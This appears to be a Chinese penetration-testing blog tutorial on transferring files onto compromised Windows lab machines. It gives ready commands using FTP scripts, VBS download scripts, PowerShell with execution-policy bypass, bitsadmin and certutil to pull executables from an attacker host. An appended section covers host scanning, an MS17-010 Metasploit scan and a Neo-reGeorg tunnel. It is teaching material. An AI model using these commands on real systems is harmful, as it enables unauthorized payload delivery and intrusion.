windows靶机_【内网渗透】Windows下的内网传输技术

本文介绍了在无法上传shell但可命令执行的Windows环境中,如何利用FTP、VBS、Powershell、bitsadmin和certutil进行文件的上传与下载。详细讲解了各种方法的实现步骤和技巧,包括FTP的匿名访问、VBS的msxml12.xmlhttp和adodb.stream对象、Powershell的命令行下载以及bitsadmin和certutil的使用。
a663f700d22c66a97d25d127411d2b65.png点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~4e0e09bb8eb071083701685458ca99c6.png4e0e09bb8eb071083701685458ca99c6.png

bd367fc22bdfbac0c64e88f08674b863.png

掐指一算,好像已经一个月没更新过了...

bd90f1162743e32b393be1c24e2d40cb.png

趁着现在不忙(才不是偷懒)赶紧更新一波~

605c4781ba2181a237ce4f806be26ddc.png

今天给大家分享的内容是Windows内网传输技术:

有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。

一起来看看吧!

ba977443f687c0c93b7905792f112dbf.png

Part.1

FTP

FTP环境部署

首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。

我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon:

fe86777f2d209dd7680d0a1f66b5b589.png

创建一个用户monster/a123456:

471b4b7911a8d35720d9d660d1c07bde.png

靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。

ee2f624ce341bb1e1922249a78833232.gif

上传与下载

ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。

例如需要下载一个hello.txt到靶机中:

7a0ba9b39393559e52476b9578a37e4f.png

写入后,靶机中会生成一个ftp.txt文件:

e1bbd41cb4b5e53fe8f1e0d6289cedd5.png

通过命令行执行该文件:

a4ee5908ede5fff2bfae9dae407b78db.png

可以看到hello.txt文件被下载到靶机:

8e38ef22fd27ec9e2c4587c903c44227.png

以上操作可以简化为:

Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
594a385e238637bae450fad2f2ed25c4.png

如果ftp允许匿名账号登陆,还可简化为:

Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o
b9ff8315bbf8020e45956bf6e23403ce.png

//-A 匿名访问

如果是上传文件到ftp服务器,则使用put:

a34ba8ec43fb917d84654851864618eb.png

可以在ftp服务器中找到上传的文件:

7baa5fab9a3574fd91d30063fd3f690d.pngba977443f687c0c93b7905792f112dbf.png

Part.2

VBS

VBS

VBS是windows中基于Visual Basic的脚本语言。

利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。

首先在本地开启http服务,提供文件下载:

0ada80675efaf2140b14121128095284.png

通过shell向靶机写入VBS代码:

5c3ec1788e9c09b0bc01cfdad3d39fc3.png

详细代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode = 3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs

此处靶机中会生成download.vbs,执行:

Cscript download.vbs
6cfbf7f0f43b7ffcb6554ad71a1561fd.png

//成功“上传”文件至靶机。

方法二:VBS一句话下载

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe
e07eb3a36474bcbfb13a41d47e5af14a.pngba977443f687c0c93b7905792f112dbf.png

Part.3

Powershell

Powershell

Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');

c058149095207fd410ab919145beac1e.png

//注意区分中逗号等英文字符。

ba977443f687c0c93b7905792f112dbf.png

Part.4

bitsadmin

bitsadmin

除了脚本以外,windows还有自带的两个工具:bitsadmin和certutil。

Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。

bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:\Users\Monster\Desktop\hello.txt

//123为任务号

3cfa7e17b9e4db8b969cf96f240de355.png

注:经测试这种方法进行下载比其他方法慢很多。

保存路径不能写成C:/Users/Monster/Desktop/hello.txt,否则会报错:

7a98c331b97bab712908ad7abaf294fa.pngba977443f687c0c93b7905792f112dbf.png

Part.5

certutil

certutil

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

certutil -urlcache -split -f http://192.168.3.1/hash.exe
45c74660c5f4149a2160d2f93d52388d.png

但是这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存:

116c0bbbd978eabd474b422e02523bf9.pngba977443f687c0c93b7905792f112dbf.png

Part.6

结语

好啦,以上就是今天的全部内容了~

f51361e9cb6e75377629208f8dfdbe85.png

如果有问题,欢迎到公众号一名白帽的成长史留言~

Peace!d56f992e3cf7d86dbcea467bd45750d4.png

1e00414b497bc1e786cc3f8b9c62d8c3.png

你“在看”我吗?

bfcdfd74f6f82468eef75922be88e86b.png
### 内网渗透测试中获取靶机IP地址的方法与工具 在内网渗透测试中,获取靶机的IP地址是关键的第一步。以下是几种常见的方法和工具: #### 方法一:Ping 扫描 通过循环 Ping 的方式可以快速发现存活的 IP 地址。例如,使用 Windows 系统下的命令行工具执行以下脚本: ```cmd for /l %i in (1,1,255) do @ ping 192.168.100.%i -w 1 -n 1 | find /i "ttl=" ``` 此脚本会遍历指定网段内的所有 IP 地址,并输出存活主机的信息[^2]。 #### 方法二:Nmap 扫描 Nmap 是一种强大的网络扫描工具,能够高效地发现网络中的存活主机。例如,以下命令可以扫描指定网段内的所有 IP 地址: ```bash nmap -sn 192.168.100.0/24 ``` `-sn` 参数表示仅进行主机发现,而不尝试端口扫描或服务检测。该命令将返回所有存活主机的 IP 地址列表。 #### 方法三:Nbtscan 工具 Nbtscan 是专门用于扫描局域网中 NetBIOS 名称和服务的工具。它不仅可以发现存活主机,还可以提供目标主机所属的域名信息。例如: ```bash nbtscan 192.168.100.0/24 ``` 此工具特别适合于需要了解目标主机详细信息的场景[^2]。 #### 方法四:MS17-010 漏洞扫描 如果目标网络可能存在 MS17-010 漏洞,可以利用 Metasploit 框架进行扫描。例如: ```ruby use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.100.0/24 exploit ``` 上述命令将扫描指定网段内的所有主机,检查是否存在 MS17-010 漏洞。一旦发现漏洞主机,即可获取其 IP 地址[^4]。 #### 方法五:Neo-reGeorg 隧道工具 在某些情况下,可能需要通过 Web 应用程序建立反向隧道以访问内网资源。Neo-reGeorg 是一个常用的加密隧道工具,支持自定义密钥和端口。例如: ```python python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx ``` 通过该工具,可以间接获取内网靶机的 IP 地址信息[^3]。 ### 注意事项 在实际操作中,确保遵守相关法律法规及授权范围,避免对非授权目标进行扫描或攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值